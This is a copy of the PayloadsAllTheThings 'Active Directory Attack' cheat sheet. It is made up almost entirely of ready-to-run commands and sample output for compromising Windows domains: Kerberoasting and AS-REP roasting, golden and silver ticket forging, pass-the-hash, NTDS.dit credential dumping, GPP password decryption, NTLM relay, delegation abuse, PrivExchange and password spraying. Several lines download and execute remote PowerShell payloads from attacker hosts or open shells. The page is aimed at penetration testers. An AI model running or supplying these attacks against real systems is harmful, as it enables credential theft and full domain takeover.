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PayloadsAllTheThings/Methodology and Resources/Active Directory Attack.md
2019-09-08 19:44:51 +02:00

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Active Directory Attacks

Summary

Tools

  • Impacket or the Windows version

  • Responder

  • Mimikatz

  • Ranger

  • BloodHound

    apt install bloodhound #kali
neo4j console
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
./bloodhound
SharpHound.exe (from resources/Ingestor)
SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
or 
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
or 
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

  • AdExplorer

  • CrackMapExec

    git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec smb -L
crackmapexec smb -M name_module -o VAR=DATA
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --local-auth
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares
crackmapexec 192.168.1.100 -u Jaddmon -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
crackmapexec 192.168.1.100 -u Jaddmon -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
crackmapexec mimikatz --server http --server-port 80

  • Mitm6

    git clone https://github.com/fox-it/mitm6.git && cd mitm6
pip install .
mitm6 -d lab.local
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
# -wh: Server hosting WPAD file (Attacker’s IP)
# -t: Target (You cannot relay credentials to the same device that you’re spoofing)
# -i: open an interactive shell

  • PowerSploit

    powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"

  • Active Directory Assessment and Privilege Escalation Script

    powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1

  • Ping Castle

    pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
pingcastle.exe --healthcheck --server domain.local
pingcastle.exe --graph --server domain.local
pingcastle.exe --scanner scanner_name --server domain.local
available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup

  • Kerbrute

    ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>

  • Rubeus

    Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Rubeus.exe klist [/luid:LOGINID]
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]

Most common paths to AD compromise

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)

# loc
wmic useraccount get name,sid
Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
Guest          S-1-5-21-3415849876-833628785-5197346142-501   
Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
Guest          S-1-5-21-297520375-2634728305-5197346142-501   
krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
lambda         S-1-5-21-297520375-2634728305-5197346142-1110 

Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068

Generate a ticket with metasploit or pykek

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

# https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
git clone https://github.com/SecWiki/windows-kernel-exploits
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10

Then use mimikatz to load the ticket.

mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"

⚠️ If the clock is skewed use clock-skew.nse script from nmap

Linux> $ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s

Linux> sudo date -s "14 APR 2015 18:25:16" 
Windows> net time /domain /set

Open Shares

smbmap -H 10.10.10.10                # null session
smbmap -H 10.10.10.10 -R             # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18

or

pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
ls  # list files
cd  # move inside a folder
get # download files
put # replace a file

or

smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk      
        SYSVOL          Disk      Logon server share
        Users           Disk
use Sharename # select a Sharename
cd Folder     # move inside a folder
ls            # list files

Download a folder recursively

smbclient //10.0.0.1/Share
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *

Mount a share

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
sudo mount -t cifs -o username=<user>,password=<pass> //<IP>/Users folder

GPO - Pivoting with Local Admin & Passwords in SYSVOL

🚩 GPO Priorization : Organization Unit > Domain > Site > Local

Find password in SYSVOL (MS14-025)

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption

echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

Metasploit modules to enumerate shares and credentials

scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp

Crackmapexec modules

cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password

List all GPO for a domain

Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all

Powersploit:
Get-NetGPO
Get-NetGPOGroup

Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)

Using ndtsutil

C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit

or

ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

Using Vshadow

vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit

You can also use the Nishang script, available at : https://github.com/samratashok/nishang

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\

Using vssadmin

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

Using DiskShadow (a Windows signed binary)

diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes

secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

secretsdump also works remotely

./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

Alternatives - modules

Metasploit modules

windows/gather/credentials/domain_hashdump

PowerSploit module

Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit

CrackMapExec module

cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default

Password in AD User comment

enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas: 
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID

or dump the Active Directory and grep the content.

ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/

Pass-the-Ticket Golden Tickets

Forging a TGT require the krbtgt NTLM hash

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.

Using Mimikatz

# Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt

Using Meterpreter

# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list

Using a ticket on Linux

# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100

If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter or kekeo.

root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Pass-the-Ticket Silver Tickets

Forging a TGS require machine accound password (key) from the KDC

# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100

Kerberoast

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket for any domain service with GetUserSPNs. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
--------------------  -------------  --------------------------------------------------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2

Alternatively with Rubeus

.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt

Then crack the ticket with hashcat or john

hashcat -m 13100 -a 0 hash.txt crackstation.txt
./john ~/hash.txt --wordlist=rockyou.lst

KRB_AS_REP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: AS-REP roasting

[*] Target User            : TestOU3user
[*] Target Domain          : testlab.local

[*] SamAccountName         : TestOU3user
[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...

C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast

Using impacket to get the hash and hashcat to crack it.

# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

# crack AS_REP messages
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r  
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

or with crackmapexec

cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ...

or with psexec

proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d

or with the builtin Windows RDP and mimikatz

sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"

OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash then you can connect to the machine using the TGT.

Using impacket

root@kali:impacket-examples$ python ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
root@kali:impacket-examples$ export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
root@kali:impacket-examples$ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

also with the AES Key if you have it
root@kali:impacket-examples$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com

ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist

Using Rubeus

C:\Users\triceratops>.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

Capturing and cracking NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

python Responder.py -I eth0

Then crack the hash with hashcat

hashcat -m 5600 -a 0 hash.txt crackstation.txt

NTLMv2 hashes relaying

If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay and get a shell access on the machine.

  1. Open the Responder.conf file and set the value of SMB and HTTP to Off.
  2. Run python RunFinger.py -i IP_Range to detect machine with SMB signing:disabled.
  3. Run python Responder.py -I <interface_card> and python MultiRelay.py -t <target_machine_IP> -u ALL
  4. Wait for a shell

Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System, " or set "adminCount" attribute to 0 for the required objec

AdminSDHolder

Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()

Trust relationship between domains

nltest /trusted_domains

or

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional

Unconstrained delegation

The user sends a TGS to access the service, along with their TGT, and then the service can use the user’s TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Find delegation

Check the TrustedForDelegation property.

# From https://github.com/samratashok/ADModule
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}

or 

$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10   
grep TRUSTED_FOR_DELEGATION domain_computers.grep

NOTE: Domain controllers usually have unconstrained delegation enabled

Monitor with Rubeus

Monitor incoming connections from Rubeus.

Rubeus.exe monitor /interval:1

Force a connect back from the DC

SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface

# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

If the attack worked you should get a TGT of the domain controller.

Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt

Then you can use DCsync or another attack : Mimikatz> lsadump::dcsync /user:HACKER\krbtgt

Resource-Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

  1. Import Powermad and Powerview

    PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

  2. Get user SID

    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier

  3. Abuse MachineAccountQuota to create a computer account and set an SPN for it

    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)

  4. Rewrite DC's AllowedToActOnBehalfOfOtherIdentity properties

    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

  5. Use Rubeus to get hash from password

    Rubeus.exe hash /password:'Weakest123*' /user:swktest  /domain:factory.lan
[*] Input password             : Weakest123*
[*] Input username             : swktest
[*] Input domain               : factory.lan
[*] Salt                       : FACTORY.LANswktest
[*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
[*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
[*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
[*]       des_cbc_md5          : BA297CFD07E62A5E

  6. Impersonate domain admin using our newly created machine account

    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt

[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':

    doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
    AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
    LmZhY3RvcnkubGFu

[*] Action: Import Ticket
[+] Ticket successfully imported!

PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.
⚠️ You need a shell on a user account with a mailbox.

  1. Exchange server hostname or IP address

    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username

  2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

    ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username

  3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange

# https://github.com/G0ldenGunSec/PowerPriv 
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016

  4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    python secretsdump.py xxxxxxxxxx -just-dc
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm

  5. Clean your mess and restore a previous state of the user's ACL

    python aclpwn.py --restore ../aclpwn-20190319-125741.restore

Alternatively you can use the Metasploit module

use auxiliary/scanner/http/exchange_web_server_pushsubscription

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt

Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.

crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`

Using RDPassSpray to target RDP services.

